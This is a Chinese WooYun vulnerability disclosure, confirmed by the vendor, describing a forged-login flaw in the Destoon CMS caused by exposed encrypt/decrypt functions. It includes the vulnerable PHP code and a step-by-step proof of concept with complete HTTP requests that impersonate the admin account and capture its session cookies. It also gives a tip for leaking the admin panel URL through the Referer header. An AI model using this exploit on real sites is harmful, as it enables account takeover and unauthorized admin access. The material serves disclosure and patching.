当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150593

漏洞标题:Destoon 加密解密函数引发的伪造登录漏洞

相关厂商:DESTOON

漏洞作者: xiao.k

提交时间:2015-10-30 17:36

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-30: 细节已通知厂商并且等待厂商处理中
2015-10-31: 厂商已经确认,细节仅向厂商公开
2015-11-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-25: 细节向核心白帽子及相关领域专家公开
2016-01-04: 细节向普通白帽子公开
2016-01-14: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

更换加密解密函数依旧不能解决此类问题 XD

详细说明:

此问题的产生是由于Destoon对加密解密函数过分的依赖和使用。首先来看加密函数`mobile\search.php`

<?php
require 'common.inc.php';
$club_post = (substr($action, 0, 4) == 'post' && isset($MODULE[18])) ? 1 : 0;
if(isset($_POST['ok']) && isset($wd) && $wd) {
if(in_array($action, array('message'))) {
$url = $action.'.php?';
} else if($club_post) {
$catid = intval(substr($action, 4));
$url = 'index.php?moduleid=18&catid='.$catid.'&';
} else {
$moduleid = intval(str_replace('mod', '', $action));
$url = 'index.php?moduleid='.$moduleid.'&';
}
$wd = input_trim($wd);
$wd = convert($wd, 'UTF-8', DT_CHARSET);
dheader($url.'kw='.encrypt($wd));
}
$head_title = $L['search_title'].$DT['seo_delimiter'].$head_title;
$foot = 'channel';
include template('search', 'mobile');
if(DT_CHARSET != 'UTF-8') toutf8();
?>


当我们提交wd明文时,程序会将内容进行加密,并且在header里提示出来。例如:

HTTP/1.1 302 Found
Date: Fri, 30 Oct 2015 03:06:05 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
location: index.php?moduleid=16&kw=1d81E9mw4aiA5dXHvhHh-S-7pzTBTdgq9DDoVGjw-P-P3CT5EW7k6ToojgtYFPI2PCmEIbo1P3BHjCWDwaGD
Vary: User-Agent
Content-Length: 0
Content-Type: text/html;charset=UTF-8


这里的`1d81E9mw4aiA5......CWDwaGD`就是wd明文加密后的内容。
我们再看另外一个位置。`mobile\mobile.php`,14行

if(strpos($DT_URL, 'action=sync&auth=') !== false && strpos($DT_URL, 'goto=') !== false) {
if($DT_MOB['os'] == 'ios'||1) {
isset($auth) or $auth = '';
$auth = decrypt($auth);
if($auth) {
$arr = explode('|', $auth);
if(check_name($arr[0]) && $_username != $arr[0] && $DT_IP == $arr[1] && $DT_TIME - $arr[2] < 600) {
include load('member.lang');
$MOD = cache_read('module-2.php');
include DT_ROOT.'/module/member/member.class.php';
$do = new member;
$user = $do->login($arr[0], '', 0, true);
}
}
$tmp = explode('goto=', $DT_URL);
$goto = $tmp[1];
if(preg_match("/^[a-z0-9_\.\?\&\=\-]{5,}$/", $goto)) {
if(strpos($goto, '://') === false) $goto = $MODULE[2]['linkurl'].$goto;
$url = $goto;
}
}
dheader($url);
}


程序经过简单的条件判断以后,进入 `$auth = decrypt($auth);`。然后对auth进行解密和解析。最终传入 `$do->login($arr[0], '', 0, true);`。我们来看一下login的代码:

function login($login_username, $login_password, $login_cookietime = 0, $admin = false) {
global $DT_TIME, $DT_IP, $MOD, $MODULE, $L;
if(!check_name($login_username)) return $this->_($L['member_login_username_bad']);
if(!$MOD || !isset($MOD['login_times'])) $MOD = cache_read('module-2.php');
$login_lock = ($MOD['login_times'] && $MOD['lock_hour']) ? true : false;
$LOCK = array();
if($login_lock) {
$LOCK = cache_read($DT_IP.'.php', 'ban');
if($LOCK) {
if($DT_TIME - $LOCK['time'] < $MOD['lock_hour']*3600) {
if($LOCK['times'] >= $MOD['login_times']) return $this->_(lang($L['member_login_ban'], array($MOD['login_times'], $MOD['lock_hour'])));
} else {
$LOCK = array();
cache_delete($DT_IP.'.php', 'ban');
}
}
}
$user = userinfo($login_username, 0);
if(!$user) {
$this->lock($login_lock, $LOCK, $DT_IP, $DT_TIME);
return $this->_($L['member_login_not_member']);
}
if(!$admin) {
if($user['password'] != dpassword($login_password, $user['passsalt'])) {
$this->lock($login_lock, $LOCK, $DT_IP, $DT_TIME);
return $this->_($L['member_login_password_bad']);
}
}
if($user['groupid'] == 2) return $this->_($L['member_login_member_ban']);
$userid = $user['userid'];
if(isset($MODULE[16])) $this->cart($userid);
if($MOD['credit_login'] > 0 && timetodate($DT_TIME, 3) != timetodate($user['logintime'], 3)) {
credit_add($login_username, $MOD['credit_login']);
credit_record($login_username, $MOD['credit_login'], 'system', $L['member_record_login'], $DT_IP);
}
$cookietime = $DT_TIME + ($login_cookietime ? intval($login_cookietime) : 86400*7);
$auth = encrypt($user['userid'].'|'.$user['password']);
set_cookie('auth', $auth, $cookietime);
set_cookie('username', $user['username'], $DT_TIME + 30*86400);
$this->db->query("UPDATE {$this->table_member} SET loginip='$DT_IP',logintime=$DT_TIME,logintimes=logintimes+1 WHERE userid=$userid");
return $user;
}


当 admin 为true时,实际上不检查用户的密码。所以我们传入用户名就可以登陆了。
接下来的思路就是:我们使用search.php里的wd,构造加密语句。然后将加密后的字符串传入mobile.php里的auth,最终返回目标用户的cookies凭据。

漏洞证明:

## 漏洞利用代码
首先要注册一个正常的用户(我这注册的是test),然后修改cookies,并修改数据包如下

POST /official/Destoon_6.0_UTF8/destoon/mobile/search.php HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 49
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://127.0.0.1/official/Destoon_6.0_UTF8/destoon/mobile/search.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=pncgroob61h293o1oietfpeh27; cz4_auth=85faIYElgPwGy6R16VvtsS6-P-O38WI7Clf-P-2HuKeXeyP3tCf3LhpytRKBtJefqbDTo66yap-S-FwyEuUAz86DRATM7d; cz4_username=test; cz4_mobile=screen

ok=1&action=mod16&wd=destoon|127.0.0.1|1446174241


要注意修改以下几个位置

PHPSESSID //根据自身登录的账户情况进行修改。
cz4_auth //根据自身登录的账户情况进行修改。
cz4_username //根据自身登录的账户情况进行修改。
cz4_mobile //这里要设置为screen
wd // 以分隔符为界限,第一部分为目标用户的用户名。我这里设置的是管理员destoon。第二部分是自身的ip、可以通过ip138进行找到。第三部分1446174241是当前时间的unixtime。


构造好以后返回一个302转向

HTTP/1.1 302 Found
Date: Fri, 30 Oct 2015 03:06:05 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
location: index.php?moduleid=16&kw=1d81E9mw4aiA5dXHvhHh-S-7pzTBTdgq9DDoVGjw-P-P3CT5EW7k6ToojgtYFPI2PCmEIbo1P3BHjCWDwaGD
Vary: User-Agent
Content-Length: 0
Content-Type: text/html;charset=UTF-8


这里的kw为之前wd的加密后数据。接下来发第二个数据包:

GET /official/Destoon_6.0_UTF8/destoon/mobile/mobile.php?action=sync&auth=1d81E9mw4aiA5dXHvhHh-S-7pzTBTdgq9DDoVGjw-P-P3CT5EW7k6ToojgtYFPI2PCmEIbo1P3BHjCWDwaGD&goto=123 HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5
DNT: 1
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=pncgroob61h293o1oietfpeh27; cz4_mobile=screen; cz4_forward_url=http%3A%2F%2F127.0.0.1%2Fofficial%2FDestoon_6.0_UTF8%2Fdestoon%2F; cz4_auth=cdc9-S-BF3fVOmLsYXOJQWJut3TLPefPEqh3hOAeUiF9xFLTs5RTGTp4bWZHg9I-S-MThgfvPeJqo4-S-D6ITxzVSny-S-fi; cz4_username=test


Cookies部分注意替换成你自己的。`cz4_mobile=screen;`这部分不要忘记了。然后auth的值就是上方kw的值。
接下来系统将会再次返回一个302.这里sec-cookies为目标用户的cookies值。拿着这些凭据即可登录后台。

HTTP/1.1 302 Found
Date: Fri, 30 Oct 2015 03:12:34 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Set-Cookie: cz4_auth=48c4oIk6J4YJ-P-0rMcCaKnZvs1lHN8XfSN0c3CT7MEjorb2Njv41pPyV0ElAdmPQoWQWcbGhhdNHHvt-P-isqgV7dYG; expires=Fri, 06-Nov-2015 03:12:34 GMT; Max-Age=604800; path=/
Set-Cookie: cz4_username=destoon; expires=Sun, 29-Nov-2015 03:12:34 GMT; Max-Age=2592000; path=/
location: http://127.0.0.1/official/Destoon_6.0_UTF8/destoon/mobile/
Vary: User-Agent
Content-Length: 44
Content-Type: text/html;charset=UTF-8


在此补充一下如何拿到后台的地址。
我们可以利用给管理人员发信息,通过http referer进行获取。
例如我们可以在前台申请广告。

广告预定.JPG


当管理人员审核申请时,可以获取到http referer。

123.JPG

修复方案:

在设计系统的时候,加密解密函数应该谨慎使用。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-10-31 23:07

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无